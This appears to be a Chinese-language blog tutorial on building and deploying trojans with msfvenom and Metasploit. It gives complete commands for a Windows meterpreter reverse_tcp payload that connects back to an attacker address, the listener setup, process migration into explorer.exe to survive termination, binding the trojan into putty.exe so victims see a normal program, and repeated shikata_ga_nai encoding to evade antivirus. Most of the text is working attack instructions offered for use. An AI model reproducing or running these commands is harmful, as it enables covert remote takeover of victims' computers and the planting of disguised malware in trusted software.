MsfVenom木马制作及使用

msfvenom基本用法

1、功能介绍

msfvenom的功能:常用于生成木马,在目标机器执行,在本地机器kali中上线,与反弹shell类似。MsfVenom可以生成两种类型的攻击载荷:

(1)Payload:Payload中包含攻击进入目标主机后需要再远程系统中运行的恶意程序,而在Metasploit中Payload是一种特殊模块,它们能够以漏洞利用模块运行,并能够利用目标系统中的安全漏洞实施攻击。简而言之,这种漏洞利用模块可以访问目标系统,而其中的代码定义了Payload在目标系统中的行为。

(2)Shellcode:Shellcode是Payload中的精髓部分,在渗透攻击时作为攻击载荷运行的一组机器指令。Shellcode通常用汇编语言编写。在大多数情况下,目标系统执行了Shellcode这一组指令后,才会提供一个命令行shell。(一组指令,不是可执行程序,通过正常应用程序捆绑)

2、攻击载荷分类

(1)Single是一种完全独立的Payload,而且使用起来就像运行calc.exe一样简单,例如添加一个系统用户或删除一份文件。由于Single Payload是完全独立的,所以其生成的Payload通常很大。

(2)Stager这种Payload负责建立目标用户与攻击者之间的网络连接,并下载额外的组件或应用程序。一种常见的Stager Payload就是reverse_tcp,它可以让目标系统与攻击者建立一条tcp连接,让目标系统主动连接我们的端口(反向连接)。另一种常见的是bind_tcp,它可以让目标系统开启一个tcp监听器,而攻击者随时可以与目标系统进行通信(正向连接)。

(3)Stage是Stager Payload下的一种Payload组件,这种Payload可以提供更加高级的功能,而且没有大小限制。

Single Payload的格式为:<target>/ <single>

如:windows/poweshell_bind_tcp
Stager/Stage Payload的格式为:<target>/ <stage> / <stager>

如:windows/meterpreter/reverse_tcp

3、小试牛刀

执行以下指令,将会生成一个文件名为shell.exe的Windows可执行程序,下载到Windows上执行,将会在进程中看到该程序。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.102 LPORT=6666 -f exe -o shell.exe

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.102 LPORT=6666 -f exe > shell.exe

(-p:指定需要使用的Payload;-f:指定文件类型;-o:保存到指定文件路径,同 ' > ' )

接下来,使用MSF的监听模块上线

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

show options

set lhost 192.168.0.102

set lport 6666

run

一旦shell.exe执行,则界面反弹到meterpreter中进行利用。

现在可以使用截图命令查看被攻击端的页面

4、进程注入

开启exploit/multi/handler后,运行shell.exe上线。如果在windows的任务管理器中结束掉shell.exe的进程并不会下线。

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.102 lport=6666 prependmigrateprocess=explorer.exe prependmigrate=true -f exe > shell-1.exe

(prependmigrateprocess:设置移植到哪个进程上)

在被攻击机上运行shel-1.exe后结束掉该进程,并没有下线,而是移植到了另外一个进程中

5、程序捆绑

直接将木马与某一个应用程序进行捆绑,当用户点击木马运行时,不仅木马上线,而且程序也会正常运行

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.102 LPORT=6666 -a x86 --platform windows -x putty.exe -k -f exe -o myputty.exe

(-a:对应x86架构;--platform:表示生成windows平台上的;-x:捆绑到某个程序;-k:启动木马时,捆绑程序也正常启动)

6、确认免杀效果

使用编码或代码混淆生成木马

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.102 lport=6666 -e x86/shikata_ga_nai -i 10 -f exe > shell-2.exe

(-e:在x86的架构下使用shikata_ga_nai 编码器进行混淆;-i:对代码混淆10次)

生成木马后可以使用工具在线检测(VirusTotal - Home / VirScan - 多引擎文件在线检测平台

相关推荐
Flynt2 天前
npm v12 来了:allowScripts 默认关闭,我的项目差点跑不起来
安全·npm·node.js
冬奇Lab7 天前
Skill 系列(02):Skill 安全风险——三类攻击面的实战测试
人工智能·安全·开源
Aphasia31110 天前
VPN 与内网穿透
安全
Mr_愚人派11 天前
当"Claude"不再是 Claude:一次第三方 API 代理引发的 AI 身份伪造排查实录
人工智能·安全
DaLi Yao12 天前
【无标题】
人工智能·安全
Alsn8612 天前
等待学习-学习目录:Docker 容器安全攻防
学习·安全·docker
网络研究院12 天前
2026年网络安全
网络·安全·法律·法规·趋势·发展
treesforest12 天前
AI安全系统如何识别异常访问?IP风险识别正在成为关键能力
网络·人工智能·tcp/ip·安全·web安全
零零信安12 天前
零零信安荣登数世咨询《新质·数字安全专精百强(2026)》暗网情报领域,彰显专业实力与创新引领
安全·网络安全·数据泄露·暗网·零零信安
开发小能手-roy12 天前
StringBuilder vs StringBuffer:2024年还需要线程安全字符串吗?
开发语言·python·安全